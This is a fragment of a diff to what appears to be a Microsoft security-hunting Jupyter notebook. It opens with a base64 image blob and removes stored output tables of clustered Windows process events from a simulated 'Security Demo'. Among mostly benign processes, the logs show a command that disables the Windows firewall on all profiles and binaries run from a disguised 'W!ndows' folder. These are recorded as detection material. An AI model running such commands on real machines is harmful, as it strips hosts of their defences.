8iQIYqNjZVhGPrggw/04IMPqry8XEePHlW/fv2Ul5enwsJCTZw4USEhIQoNDdXu3bvrZoEAAACcjFIE1LG0tDR9++232rRpkxYvXvyrpej48eMaM2aMNm3apHbt2mnLli0qKipSTEyMXnvtNW3cuFHdu3fXnDlz9NNPPyk9PV2pqan6xz/+ocOHD8vNzU3h4eHy8/PThAkTLhg7PT1dWVlZSkxMVHJysvLy8pSamqoBAwborrvu0vLlyzVz5kxFRkaqQ4cOmjt3rkJDQ7VhwwYtW7ZMMTExKikpqevlahB27UrXrl3pzo4BAABqiYuzAwCN3d69e+Xv76+mTZuqbdu26tev32WPbd++vbp27SpJuu2223TixAllZmaqa9euuvHGGyVJw4YNU3x8vDp06CA3NzcNHz5c/fv31/Tp0+Xm5nbZsffs2aPMzEyFhIRIOndWytPTU5IUFRWlQYMGqXv37ho8eLAkaffu3crOzlZcXJwkqaqqSjk5OfLy8vrti9LAJSSskiT5+l7+ZwkAABoOShFQxywWiwzDcNx2cbn8H7tfPnb+eXa7/YJjDMNQVVWVXFxctG7dOu3du1fp6ekaPny43n333cuObbPZNHr0aI0ZM0aSdOrUKVmtVklSYWGhrFarsrOzVV5eLjc3N9ntdq1cuVKtW7eWJOXn58vd3b3mCwAAAHCNY/scUMd8fHy0detWVVRUqLi4WJ988kmNnt+tWzd99dVXOnbsmCTpvffeU69evfTtt99qxIgR6tGjhyIjI9WpUycdOXJEVqtVVVVVF43j7e2tlJQUlZaWqqqqSpMmTVJaWppsNptmzpypqKgo9ezZU4sXL3Ycn5CQIOncxRsCAwNVVlb2G1ejcaioKFdFRbmzYwAAgFrCmSKgjt1///36+uuvFRAQoHbt2qlTp041en67du00Z84cTZ48WZWVlfL09NTcuXPVvn173XXXXQoICFCzZs3UvXt39evXTzk5OVq6dKkWLFigkSNHavz48UpJSZGfn58OHjyooUOHymazqW/fvgoODtaKFSvk7u4uf39/9e7dWwEBAfL391d0dLRiYmIUGBgoSYqNjVWLFi3qYokaHJvN5uwIAACgFlmMX+7rAYBaVFRUIru9em8xHh4tVVBwuo4T1Y6xY8MkSW+/nVCt4xvS3Gqqsc6tsc5LYm4NVUOdm4dHS2dHAKqF7XMAAAAATI1SBAAAAMDUKEUAAAAATI1SBAAAAMDUuPocANTQ+e93AgAAjQOlCABqyNXVzdkRAABALWL7HAAAAABToxQBAAAAMDW2zwFADYWFjXJ2BAAAUIsoRQBQQ76+/ZwdAQAA1CK2zwEAAAAwNUoRAAAAAFOjFAEAAAAwNUoRAAAAAFOjFAFodHbtSteuXenOjgEAABoIrj4HoNFJSFgliavEAQCA6uFMEQAAAABT40wRgEanoqLc2REAAEADQikC0OjYbDZnRwAAAA0I2+cAAAAAmBqlCAAAAICpUYoAAAAAmBqlCAAAAICpUYoAAAAAmBqlCGgAZs6cqZ9++umyjy9ZskRLliypx0TXNqvVKqvV6uwYAACggaAUAQ1ARkaGDMNwdowGw9XVTa6ubs6OAQAAGghKEeAEGRkZGjt2rCZOnKgHH3xQ4eHhqqioUHJysoKDgxUUFKTnnntO5eXlio+PV35+vsaPH68TJ05o3rx5GjJkiB566CEtXbrUMWZmZqaGDx+u/v37X/asUXx8vIKDgzVkyBDFxsbKMAx98MEHevDBB1VeXq6jR4+qX79+ysvLU2FhoSZOnKiQkBCFhoZq9+7d9bU8AAAA9YovbwWc5IsvvtDWrVvVvn17DR06VP/4xz+UlpamNWvWyM3NTQsXLtRbb72liRMnas2aNYqPj9eZM2eUnp6uzZs3q6ysTDNnzlR5ebkkqaioSGvWrFFJSYn8/Pw0ZswYtWjRwvF66enpysrKUmJioiwWiyIiIpSamqqgoCBt375dy5cvV0ZGhiIjI9WhQwdNnTpVoaGhGjBggPLz8xUWFqbk5OQLxgQAAGgMKEWAk9x+++3q2LGjJKlTp046ffq0jh49qqFDh0qSKisr1blz5wue06FDB7m5uTnOCE2fPl1ubue2ifXt21eurq5q27at2rRpo+Li4gsKzJ49e5SZmamQkBBJ0tmzZ+Xp6SlJioqK0qBBg9S9e3cNHjxYkrR7925lZ2crLi5OklRVVaWcnBx5eXnV4arUjrCwUc6OAAAAGhBKEeAk58uMJFksFrVs2VIDBw5UdHS0JKm0tFQ2m+2C57i4uGjdunXau3ev0tPTNXz4cL377ruOx3453n9+Bslms2n06NEaM2aMJOnUqVOOixEUFhbKarUqOztb5eXlcnNzk91u18qVK9W6dWtJUn5+vtzd3Wt5FeqGr28/Z0cAAAANCJ8pAq4h77//voqKimQYhmbPnq2VK1dKOnc1NZvNpm+//VYjRoxQjx49FBkZqU6dOunIkSPVGtvb21spKSkqLS1VVVWVJk2apLS0NNlsNs2cOVNRUVHq2bOnFi9e7Dg+ISFBknT48GEFBgaqrKysbiYOAADgRJwpAq4RLVu21OTJkzV69GjZ7XZ5eXlp/PjxkqT77rtP48eP14oVK3TXXXcpICBAzZo1U/fu3dWvXz998803lxwzLy9P48ePV0pKivz8/HTw4EENHTpUNptNffv2VXBwsFasWCF3d3f5+/urd+/eCggIkL+/v6KjoxUTE6PAwEBJUmxsLJ8nAgAAjZLF4Dq/AOpIUVGJ7PbqvcV4eLRUQcHpOk7kHMyt4Wms85KYW0PVUOfm4dHS2RGAamH7HAAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEQAAAABToxQBAAAAMDVKEXAN+fjjj9W3b19NmzbN2VEAAABMw8XZAQD8n23btmny5MkaNmyYs6MAAACYBqUIqGUZGRl6/fXX5eLiomPHjqlr166aMGGCpk6dqltvvVWHDx9W586ddffddyspKUnFxcV67bXX9Pnnn+uDDz7Qnj171KRJE/Xs2VOzZ8/WyZMndd1112nWrFm64447NGzYMA0bNkyPPPKIZs2apZYtW+rZZ59VcnKyVq5cKbvdri5duuj555+Xm5vbBdkyMzP10ksv6ezZs2rTpo1eeOEFtWnTRkOGDNHcuXPl4+OjJ554Qn5+fnrssccUHx+vrVu3ymazqU+fPoqIiJDFYnHSygIAANQNts8BdeCLL75QVFSUtm3bpvLycn388cc6dOiQnnzySaWkpOjzzz/XTz/9pPfee08BAQF677339Mgjj8jPz0/h4eF65JFHFBkZqYiICCUlJenFF1/U1KlTZbVaNW/ePMXFxWnTpk3KzMzUlClT9N1332nt2rVas2aNUlJS5O7urrfeeuuCTBUVFYqOjtbChQuVlJSkMWPGaNasWWrRooXmzp2r2bNna/Xq1bJYLHrssceUnp6urKwsJSYmKjk5WXl5eUpNTXXSigLAtW/XrnTt2pXu7BgArgJnioA60KNHD916662SpKCgIK1du1bt2rVT586dJUkdO3aUj4+PJMnT01PHjh274PmlpaXKysrSzJkzHfedOXNGJ06cUKdOnTRy5Eg9++yzSkpKkqurqzIyMnT06FENHTpUklRZWel4rfN++OEH5eTkaMKECY77SkpKJEk+Pj7y9vbWokWLtHXrVknSnj17lJmZqZCQEEnS2bNn5enpWWtrBACNTULCKkmSr28/JycBUFOUIqAOWK1Wx68Nw5DVapWrq+tlj/lPdrtdrq6uSklJcdyXm5ur1q1bS5KOHDmi1q1b68CBA7rjjjtks9k0cOBARUdHSzpXqmw220Vj3njjjY4xbTabCgsLHRmPHDmiZs2a6ciRI2rfvr1sNptGjx6tMWPGSJJOnTr1q5kBAAAaKrbPAXVg//79ysvLk91uV3Jysvr1q9m/GrZs2VK33HKLo8Ds2rVLjz32mCTpo48+0sGDB7VmzRotWrRIeXl56tWrl95//30VFRXJMAzNnj1bK1euvGDMW2+9VcXFxfrss88kSevXr9f06dMlSQkJCWrevLlef/11zZo1S6WlpfL29lZKSopKS0tVVVWlSZMmKS0t7bcuDQA0WhUV5aqoKHd2DABXgTNFQB1o3769nn32WeXl5cnX11e9e/dWfHx8jcaYP3++Zs+erRUrVqhp06Z65ZVXdPr0ac2ePVtLly7Vf/3Xf2n06NGaNWuW4uPjNXnyZI0ePVp2u11eXl4aP368JCkqKkp+fn4aMGCAFi9erLlz56q8vFwtWrTQvHnzlJOTo2XLlmndunW6/vrr1adPH8drHzx4UEOHDpXNZlPfvn0VHBxcF8sFAI3Cf56hB9BwWAzDMJwdAmhMMjIytHTpUr377rvOjuJ0RUUlstur9xbj4dFSBQWn6ziRczC3hqexzktibnVp7NgwSdLbbyfU+tjOntvV8vBo6ewIQLWwfQ4AAACAqbF9DqhlvXr1Uq9evZwdAwAAANXEmSIAAAAApkYpAgAAAGBqlCIAAAAApsZnigAAAGoBX3ANNFyUIgAAgFrg6urm7AgArhLb5wAAAACYGmeKAAAAakFY2ChnRwBwlShFAAAAtcDXt5+zIwC4SmyfAwAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAgAAAGBqlCIAAAAApkYpAq5xa9eu1aZNm5wdAwAAoNGiFAHXuM8//1wVFRXOjgEAANBouTg7AGBGubm5mj59us6cOaMmTZooOjpaTZo00UsvvaSzZ8+qTZs2euGFF5STk6OdO3fq008/lYeHhzZv3qyePXsqJCREknTHHXfo0KFDWrJkif7973/r+++/14kTJzRs2DCNGzfuoteNj4/X1q1bZbPZ1KdPH0VERGjnzp2KjY1VamqqcnNzNXLkSK1bt05Wq1UxMTHKzc2VxWLRtGnT1Lt37/peKgAAgDpHKQKcIDExUffdd5/GjRun9PR07du3Txs3btTy5cvl6empTz75RLNmzdLf/vY3+fn5qWfPnurbt682b9582TGzsrK0Zs0a2e12hYSEyMfHR126dHE8np6erqysLCUmJspisSgiIkKpqakKCgrS9u3btXz5cmVkZCgyMlIdOnTQ1KlTFRoaqgEDBig/P19hYWFKTk5WixYt6mOJUA0JCauUk3PUqRmaNrWqstLm1Ax1oaTklGw2u1q1au3sKLXO2T+zm266WWFho5z2+gBwKZQiwAl8fHz09NNP68CBA7r33nt177336vXXX9eECRMcx5SUlNRozICAAP3ud7+TJPn5+enTTz+9oBTt2bNHmZmZjrNMZ8+elaenpyQpKipKgwYNUvfu3TV48GBJ0u7du5Wdna24uDhJUlVVlXJycuTl5XX1E0etysk5qh8OH1THFs57Kz/rtFeuW4UlVZIkt7JCJyepfc78meX+77oCwLWGUgQ4wT333KPNmzfro48+0pYtW7Ru3TrdeOONSklJkSTZbDYVFl78lzGLxSLDMCRJlZWVFzxmtVodv7bb7RfcPj/m6NGjNWbMGEnSqVOnHMcUFhbKarUqOztb5eXlcnNzk91u18qVK9W69bl/Kc/Pz5e7u3strQBqS8cWLhrTta2zYzQ672QelyTWtpadX1cAuNZwoQXACc5/hic4OFgxMTE6ePCgiouL9dlnn0mS1q9fr+nTp0s6V3ZstnNbXVq3bq3Dhw9Lknbs2HHBmDt27FBFRYWKi4v14Ycfqk+fPhc87u3trZSUFJWWlqqqqkqTJk1SWlqabDabZs6cqaioKPXs2VOLFy92HJ+QkCBJOnz4sAIDA1VWVlZ3i4IaKy4+qZIKu7NjANVWUmFXcfFJZ8cAgItwpghwgpEjR2ratGnasGGDrFar5s+fr1atWmnu3LkqLy9XixYtNG/ePElS7969tWjRIrVs2VKPPvqopkyZosDAQHl7e8vDw8Mxppubm8LCwlRSUqKnnnpKt912m/Ly8jR+/HilpKTIz89PBw8e1NChQ2Wz2dS3b18FBwdrxYoVcnd3l7+/v3r37q2AgAD5+/srOjpaMTExCgwMlHSuyPF5omtLcXGx7JQiNCAlFXY1KS52dgwAuIjFOL8XB0CDtWTJEknS008/7eQkFyoqKpHdXr23GA+PliooOF3HiZyjruY2adI42SvKNLN3+1of2+zYPlc3XtqdryauzfTaayvqZHzeR649Hh4tnR0BqBa2zwEAAAAwNbbPAY3AtXaGCAAAoCHhTBEAAAAAU6MUAQAAADA1ShEAAAAAU+MzRQDQQLVq1UqVxeXOjgFUWwvXJmraqpWzYwDARThTBAANVKtWrdXClbdxNBwtXJuoVavWzo4BABfhTBEANGC5JVWO79RB7cktqZIk1raW5ZZU6RZnhwCAS6AUAUADddNNNzs7gpo2taqy0ubsGLWuXckp2Wx2XdcIz2o482d2i66N37cA8J8oRQDQQIWFjXJ2BHl4tFRBwWlnx6h1jXVeUuOeGwBcLTajAwAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAQAAADA1ShEAAAAAU6MUAXUkNzdXI0aMUEhIiB5++GF9+eWX8vPzU2xsrB566CE99NBD+vbbbyVJI0eO1Ny5cxUcHKxBgwbpn//8pyRp48aNCgoKUkhIiMLDw1VeXq7JkycrLS3N8TohISH69ttvdeDAAT3yyCMKDAzUiBEjlJube1Gm5ORkBQcHKygoSM8995zKy8v1zTffyNfXV8ePH9fJkyfVv39/HThwQKWlpYqMjFRISIiCgoK0adOm+lk4AACAekYpAupIYmKi7rvvPm3YsEHh4eHav3+/JKl58+ZKTk5WeHi4IiMjHceXlJQoKSlJCxcu1IwZM1RRUaFXX31Vb7/9tjZs2KAbbrhB2dnZCgoK0ubNmyVJP/zwg8rLy9W5c2dNnz5dEydO1MaNGzVo0CCtXLnygjzfffed1q5dqzVr1iglJUXu7u5666231KVLFw0bNkyxsbF68cUX9eijj8rLy0vLli1Tly5dtGHDBq1evVrLly9XTk5O/S2gk+3ala5du9KdHQMAANQDF2cHABorHx8fPf300zpw4IDuvfdejRgxQqtXr9bQoUMlSX5+fpoxY4aOHz8uSY77vby85OHhoUOHDql///569NFHdf/99+vBBx+Ul5eXOnXqpDlz5qikpESbNm3SkCFDdPz4cRUUFKh///6SpLCwsIvyZGRk6OjRo47XqaysVOfOnSVJEyZMUGhoqK677jrNnz9fkrR7926dPXtW69evlySdOXNG3333nW666aY6XLVrR0LCKkmSr28/JycBAAB1jVIE1JF77rlHmzdv1kcffaQtW7YoKSlJkuTi8n9/7Ox2u6xWqyQ5/nv+fhcXF0VHR+vgwYP6+OOPFRERocmTJysoKEj9+/fXzp07tW3bNr3xxhtq2rSpLBaL4/nl5eXKz8+/oMDYbDYNHDhQ0dHRkqTS0lLZbDZJ0unTp1VaWqrS0lKdPHlSbdu2ld1u1/z589WlSxdJUmFhoVq1alVH4QaVOwAAFKlJREFUqwUAAOA8bJ8D6khsbKxSU1MVHBysmJgYx+eHzm99e//999WpUydH0diyZYsk6euvv9apU6fUqVMn+fv7q02bNnrqqacUFBSkAwcOSJKCgoL0zjv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652019-02-13 22:08:46.457000+00:002019-02-13 23:08:46.480000+00:00C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display363826True
352019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...1214198True
1282019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG...1194895True
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1242019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe\" --install-archive=\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\CHROME_...1463493True
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1222019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --update-set...1617204True
1172019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler1174895True
1212019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.10...\"C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.1...1389884True
1132019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe152933True
1022019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\W!ndows\\System32\\netsh.exe.\\netsh.exe firewall set opmode mode=disable profile=all1102736False
1012019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\W!ndows\\System32\\tsetup.1.exe.\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp\" /SL5=\"$...1382962False
1002019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com1122570False
992019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of1162570False
972019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV11103028False
962019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 41132570True
782019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7...11310527True
772019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\servicing\\TrustedInstaller.exeC:\\Windows\\servicing\\TrustedInstaller.exe154175True
512019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\cmd.exe\"cmd\"122570True
1142019-02-13 22:08:46.537000+00:002019-02-13 23:07:24.307000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding183546True
162019-02-13 22:09:28.600000+00:002019-02-13 23:11:46.190000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding6103546True
122019-02-13 22:11:41.790000+00:002019-02-13 23:11:41.810000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe...2279122True
1262019-02-13 22:29:08.390000+00:002019-02-13 22:29:08.397000+00:00C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\"C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\"2166016True
952019-02-13 22:29:09.260000+00:002019-02-13 23:07:23.830000+00:00C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}2123024True
982019-02-13 23:07:24.127000+00:002019-02-13 23:07:24.337000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Begin Security Demo tasks282570False
\n", - "
" - ], - "text/plain": [ - " TimeGenerated LastEventTime \\\n", - "0 2019-02-13 22:08:45.003000+00:00 2019-02-13 23:17:45+00:00 \n", - "1 2019-02-13 22:08:45.017000+00:00 2019-02-13 23:17:45.010000+00:00 \n", - "63 2019-02-13 22:08:46.270000+00:00 2019-02-13 23:08:46.277000+00:00 \n", - "65 2019-02-13 22:08:46.457000+00:00 2019-02-13 23:08:46.480000+00:00 \n", - "35 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "128 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "125 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "124 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "123 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "122 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "117 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "121 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "113 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "102 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "101 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "100 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "99 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "97 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "96 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "78 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "77 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "51 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "114 2019-02-13 22:08:46.537000+00:00 2019-02-13 23:07:24.307000+00:00 \n", - "16 2019-02-13 22:09:28.600000+00:00 2019-02-13 23:11:46.190000+00:00 \n", - "12 2019-02-13 22:11:41.790000+00:00 2019-02-13 23:11:41.810000+00:00 \n", - "126 2019-02-13 22:29:08.390000+00:00 2019-02-13 22:29:08.397000+00:00 \n", - "95 2019-02-13 22:29:09.260000+00:00 2019-02-13 23:07:23.830000+00:00 \n", - "98 2019-02-13 23:07:24.127000+00:00 2019-02-13 23:07:24.337000+00:00 \n", - "\n", - " NewProcessName \\\n", - "0 C:\\Windows\\System32\\cscript.exe \n", - "1 C:\\Windows\\System32\\conhost.exe \n", - "63 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon... \n", - "65 C:\\Windows\\System32\\MusNotification.exe \n", - "35 C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe \n", - "128 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", - "125 C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe \n", - "124 C:\\Windows\\Temp\\CR_42BC8.tmp\\setup.exe \n", - "123 C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe \n", - "122 C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe \n", - "117 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", - "121 C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.10... \n", - "113 C:\\Windows\\System32\\sppsvc.exe \n", - "102 C:\\W!ndows\\System32\\netsh.exe \n", - "101 C:\\W!ndows\\System32\\tsetup.1.exe \n", - "100 C:\\Windows\\System32\\cmd.exe \n", - "99 C:\\Windows\\System32\\cmd.exe \n", - "97 C:\\Windows\\System32\\conhost.exe \n", - "96 C:\\Windows\\System32\\cmd.exe \n", - "78 C:\\Windows\\WinSxS\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", - "77 C:\\Windows\\servicing\\TrustedInstaller.exe \n", - "51 C:\\Windows\\System32\\cmd.exe \n", - "114 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", - "16 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", - "12 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe \n", - "126 C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe \n", - "95 C:\\Windows\\System32\\dllhost.exe \n", - "98 C:\\Windows\\System32\\cmd.exe \n", - "\n", - " CommandLine \\\n", - "0 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", - "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", - "63 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo... \n", - "65 C:\\Windows\\system32\\MusNotification.exe Display \n", - "35 \"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524... \n", - "128 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZG... \n", - "125 C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe --type=crashpad-handler /prefetch:7 --monitor-self-annota... \n", - "124 \"C:\\Windows\\TEMP\\CR_42BC8.tmp\\setup.exe\" --install-archive=\"C:\\Windows\\TEMP\\CR_42BC8.tmp\\CHROME_... \n", - "123 \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --type=crash... \n", - "122 \"C:\\Program Files (x86)\\Google\\Chrome\\Application\\72.0.3626.96\\Installer\\setup.exe\" --update-set... \n", - "117 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", - "121 \"C:\\Program Files (x86)\\Google\\Update\\Install\\{049CD3BD-D98E-4D19-9695-9DCDF6AF728C}\\72.0.3626.1... \n", - "113 C:\\Windows\\system32\\sppsvc.exe \n", - "102 .\\netsh.exe firewall set opmode mode=disable profile=all \n", - "101 .\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetup.1.0.14.tmp\" /SL5=\"$... \n", - "100 cmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com \n", - "99 cmd /c echo Any questions about the commands executed here then please contact one of \n", - "97 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", - "96 cmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 4 \n", - "78 C:\\Windows\\winsxs\\amd64_microsoft-windows-servicingstack_31bf3856ad364e35_10.0.14393.2602_none_7... \n", - "77 C:\\Windows\\servicing\\TrustedInstaller.exe \n", - "51 \"cmd\" \n", - "114 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", - "16 C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding \n", - "12 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\884\\pmfexe.exe... \n", - "126 \"C:\\Program Files (x86)\\Google\\Update\\1.3.33.23\\GoogleCrashHandler.exe\" \n", - "95 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", - "98 cmd /c echo Begin Security Demo tasks \n", - "\n", - " ClusterSize commandlineTokensFull pathScore isSystemSession \n", - "0 70 13 3022 True \n", - "1 79 10 3028 True \n", - "63 4 53 11146 True \n", - "65 3 6 3826 True \n", - "35 1 21 4198 True \n", - "128 1 19 4895 True \n", - "125 1 64 3493 True \n", - "124 1 46 3493 True \n", - "123 1 75 7204 True \n", - "122 1 61 7204 True \n", - "117 1 17 4895 True \n", - "121 1 38 9884 True \n", - "113 1 5 2933 True \n", - "102 1 10 2736 False \n", - "101 1 38 2962 False \n", - "100 1 12 2570 False \n", - "99 1 16 2570 False \n", - "97 1 10 3028 False \n", - "96 1 13 2570 True \n", - "78 1 13 10527 True \n", - "77 1 5 4175 True \n", - "51 1 2 2570 True \n", - "114 1 8 3546 True \n", - "16 6 10 3546 True \n", - "12 2 27 9122 True \n", - "126 2 16 6016 True \n", - "95 2 12 3024 True \n", - "98 2 8 2570 False " - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], + "execution_count": null, + "metadata": {}, + "outputs": [], "source": [ "if 'clus_events' in locals() and not clus_events.empty:\n", " resp = input('View the clustered data? y/n')\n", @@ -4233,27 +662,9 @@ }, { "cell_type": "code", - "execution_count": 21, - "metadata": { - "ExecuteTime": { - "end_time": "2020-05-16T02:20:03.856018Z", - "start_time": "2020-05-16T02:20:03.843018Z" - } - }, - "outputs": [ - { - "data": { - "text/markdown": [ - "You can view the cluster members for individual processesby inserting a new cell and entering:
`view_cluster(process_name)`
where process_name is the unqualified process binary. E.g
